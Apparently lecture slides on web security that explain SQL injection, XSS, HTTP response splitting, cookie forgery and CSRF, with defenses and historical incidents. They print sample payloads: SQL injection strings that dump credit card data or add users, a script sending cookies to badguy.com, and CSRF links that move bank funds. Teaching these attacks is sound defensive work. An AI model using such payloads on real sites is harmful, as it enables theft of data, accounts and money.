Web Security

Dawn Song
dawnsong@cs.berkeley.edu

Some slides from John Mitchell and Adam Barth

Web Security

• Web: new platform for many security-critical applications
  – e.g., banking, e-commerce
• Web security: complex & constantly evolving
• A two-sided story
  – Web application code
    » Runs at web site on web server or app server
    » Written in PHP, ASP, JSP, Ruby, …
    » Question: secure web site design
  – Web browser (next lecture)
    » Can be attacked by any website it visits
    » Attacks result in: computer compromise, malware installation, etc.
    » Question: secure web browser

Secure Web Site Design

• Today's web is dynamic
• Complex web applications
  – Runs on web server or app server
  – Takes input from web users (via web server)
  – Interacts with databases & 3rd parties
  – Prepare results for users (via web server)
• Examples
  – Shopping carts, on-line banking, bill pay, tax prep, etc.
• Challenges
  – New code written for every web site, often with little security considerations
  – Many potential vulnerabilities

Common Vulnerabilities

• Input validation
  – SQL Injection
  – XSS: cross-site scripting
  – HTTP response splitting
• Cookie management
  – Cookie forgery
  – CSRF: cross-site request forgery

SQL Injection

Dynamic Web Application
### SQL Query Example

**View pizza order history:**
```
<form method="post" action="...">
  <select name="month">
    <option value="1">Jan</option>
    ...<br>
    <option value="12">Dec</option>
  </select>
  Year<br>
  <input type="submit" name="submit" value="View">
</form>
```

**Normal SQL Query**
```
SELECT pizza, toppings, quantity, order_day
FROM orders
WHERE userid=4123 AND order_month=10
```

### SQL Injection Example

**Malicious SQL Query**
```
WHERE userid=4123 AND order_month=0 OR 1=1
```

**Where condition is always true!**

Gives attacker access to other users’ private data!

### Basic picture: SQL Injection

**Attacker**
```
post malicious form
```

**Victim Server**
```
post form
```

**Victim SQL DB**
```
receive valuable data
```

**Unintended query**

### A more damaging example:

For `order_month` parameter, attacker could input:
```
0 AND 1=0
```

**UNION SELECT**
```
CARDHOLDERS, CARDNUMBERS, EXPMONTH, EXPYEAR
FROM creditcards
```

**Attacker is able to get sensitive credit card info of all users**
SQL Injection Example

More Attacks

• Create new users:
  ' create new users:
  `; INSERT INTO USERS
  (`uname`, `passwd`,
  `salt`) VALUES (`hacker`, `38a74f`,
  3234);

• Password reset:
  `; UPDATE USERS SET
  email=hacker@root.org WHERE
  email=victim@yahoo.com

It's not a joke---It's real

• CardSystems
  - credit card payment processing company
  - SQL injection attack in June 2005
  - put out of business

• The Attack
  - 263,000 credit card #s stolen from database
  - credit card #s stored unencrypted
  - 43 million credit card #s exposed

• Many examples like this

More Examples


• On August 12, 2007, The United Nations web site was defaced using SQL injection.

• On January 2008, tens of thousands of PCs were infected by an automated SQL injection attack that exploited a vulnerability in Microsoft SQL Server.

Cross-Site Scripting (XSS) Attacks
Access Control in OS & Browser

- Access control in Browser
  - Principals
    - Owner of web content
  - Resources
    - Memory: heap of script objects
    - Persistent state: cookies
    - Display: HTML DOM
    - Network communication
  - Policies?

Same-Origin Principle (SOP)

- Documents or scripts loaded from one origin cannot get or set properties of documents from a different origin
- Origin
  - Two pages have the same origin if the protocol, port, domain are the same for both pages
- Protect webpages of different origins from each other

Example

- User input is echoed into HTML response.
- Example: search field
  - search.php responds with:
    - <HTML> <TITLE> Search Results </TITLE> <BODY>
    - Results for <php echo $_GET[term] ?> :
      ...
    - </BODY> </HTML>
- Is this exploitable?

Bad input

- Problem: no validation of input term
- Consider link: (properly URL encoded)
  <script> window.open("http://badguy.com?cookie = " +
  document.cookie ) </script>

- What if user clicks on this link?
  1. Browser goes to victim.com/search.php
  2. Victim.com returns
     <HTML> Results for <script> .. </script>
  3. Browser executes script:
     - Sends badguy.com cookie for victim.com

Basic picture: Reflected Cross-site scripting

- Attacker Website
- Vulnerable Server Website
- User Victim
- visit web site
- receive malicious page
- click on link
- echo user input
- send valuable data

So what?

- Why would user click on such a link?
  - Phishing email in webmail client (e.g. gmail).
  - Link in doubleclick banner ad
  - ... many many ways to fool user into clicking
- What if badguy.com gets cookie for victim.com?
  - Cookie can include session auth for victim.com
    - Or other data intended only for victim.com
    ⇒ Violates same origin policy
Even worse

- Attacker can execute arbitrary scripts in browser as from victim server’s web site
- Can manipulate any DOM component on victim.com
  - Control links on page
  - Control form fields (e.g. password field) on this page and linked pages.
- Can infect other users: MySpace.com worm.

HTTP Response Splitting

The setup

- User input echoed in HTTP header.
- Example: Language redirect page (JSP)
  ```java
  <% response.redirect("/by_lang.jsp?lang=" + request.getParameter("lang") ) %>
  ```
- Browser sends `http://.../by_lang.jsp ? lang=french`
  Server HTTP Response:
  ```
  HTTP/1.1 302 (redirect)
  Date: ...
  Location: /by_lang.jsp ? lang=french
  ```
- Is this exploitable?

Bad input

- Suppose browser sends:
  ```
  http://.../by_lang.jsp ? lang=
  "french 
  Content-length: 0 \\n  HTTP/1.1 200 OK 
  Spoofed page "
  ```
  (URL encoded)

Stored XSS Attack: MySpace.com (Samy worm)

- Users can post HTML on their pages
  - MySpace.com ensures HTML contains no `<script>`, `<body>`, `<a href="javascript://`
  - ... but can do Javascript within CSS tags:
    `<div style="background:url('javascript:alert(1)')">`
    And can hide "javascript" as "java
    script"
- With careful javascript hacking:
  - Samy's worm: infects anyone who visits an infected MySpace page ... and adds Samy as a friend.
  - Samy had millions of friends within 24 hours.

XSS Attack

- Accounts for over 80% reported security vulnerabilities
- High profile: google, facebook, mySpace, Yahoo!, PayPal, eBay, Obama discussion forum (redirected to Hillary Clinton)
Bad input

- HTTP response from server looks like:

  HTTP/1.1 302 (redirect)
  Date: ...
  Location: /by_lang.jsp ? lang=french
  Content-length: 0

  HTTP/1.1 200 OK
  Content-length: 217
  Spoofed page

Defense

- Lack of types, hidden assumption
- Input validation
  - Taint tracking: figure out what variables need to be sanitized
    - Static taint analysis
    - Dynamic taint analysis: similar to perl tainting
  - Sanitization: how to sanitize variables
    - SQL injection
    - XSS attack
    - HTTP Response Splitting
  - Challenges:
    - Many different ways: normalization
    - Lack of specification: need to figure out how browser/server interprets

Common Vulnerabilities

- Input validation
  - SQL Injection
  - XSS: cross-site scripting
  - HTTP response splitting
- Cookie management
  - Cookie forgery
  - CSRF: cross-site request forgery

Cookie Forgery

Cookies

- Used to store state on user’s machine
  - GET ...

  HTTP Header:
  Set-cookie: NAME=VALUE
  domain = (who can read); expires = (when expires); secure = (only over SSL)

  If expires=NULL; this session only

  GET ...

  Cookie: NAME = VALUE

  Http is stateless protocol; cookies add state

Administrivia

- Out of town Tue & Wed
- Office hour on Tue canceled
  - Pls send me email to set up another time if needed
- Guest lecture on Wed
  - New attacks & defenses in web security
  - Helped design security architecture in Google Chrome
Cookies

- Browser will store:
  - At most 20 cookies/site, 3 KB / cookie

- Uses:
  - User authentication
  - Personalization
  - User tracking: e.g. Doubleclick (3rd party cookies)

Defense

- When storing state on browser MAC data using server secret key.
  - .NET 2.0:
      - Secret web server key intended for cookie protection
    - HttpCookie cookie = new HttpCookie(name, val);
    - encodedCookie = HttpCookieEncode(cookie);
    - HttpCookie Decode (cookie);

Attack

- Example: Shopping cart software.
  - Set-cookie: shopping-cart-total = 150 ($)

- Is it vulnerable?
  - User edits cookie file (cookie poisoning):
    - Cookie: shopping-cart-total = 15 ($)
  - ... bargain shopping

Cookie authentication

![Diagram of cookie authentication process]

Examples

- D3.COM Pty Ltd: ShopFactory 5.8
- @Retail Corporation: @Retail
- Advagrafix: Check It Out
- Baron Consulting Group: WebSite Tool
- ComCity Corporation: SalesCart
- Crested Butte Software: EasyCart
- Dansie.net: Dansie Shopping Cart
- Intelligent Vending Systems: Intellivend
- Make-a-Store: Make-a-Store OrderPage
- McMurtrey/Whitaker & Associates: Cart32 3.0
- pknutsen@nethut.no: CartMan 1.04
- Rich Media Technologies: JustAddCommerce 5.0
- SmartCart: SmartCart
- Web Express: Shoptron 1.2

Weak authenticators: security risk

- Predictable cookie authenticator
  - Verizon Wireless - counter
  - Valid user logs in, gets counter, can view sessions of other users.

- Weak authenticator generation: [Fu et al. '01]
  - WSJ.com: cookie = \{user, MAC\_k(user)\}
  - Weak MAC exposes K from few cookies.

- Apache Tomcat: generateSessionID()
  - MD5(PRNG) ... but weak PRNG [GM05].
  - Predictable SessionID’s
Cross-Site Request Forgery (CSRF)

The Setup

• A typical request for Alice to transfer $100 to Bob using bank.com:
  – GET
  http://bank.com/transfer.do?acct=BOB&amount=100
  HTTP/1.1

• What if Maria wants to transfer $100,000 from Alice’s account to her account?

Attack

• Maria first constructs the following URL which will transfer $100,000 from Alice’s account to her account:

• To have Alice send the request:
  – Email <a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a>
  – Even better:
    <img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="1" height="1" border="0">

Conclusion

• Input validation
  – SQL Injection
  – XSS: cross-site scripting
  – HTTP response splitting

• Cookie management
  – Cookie forgery
  – CSRF: cross-site request forgery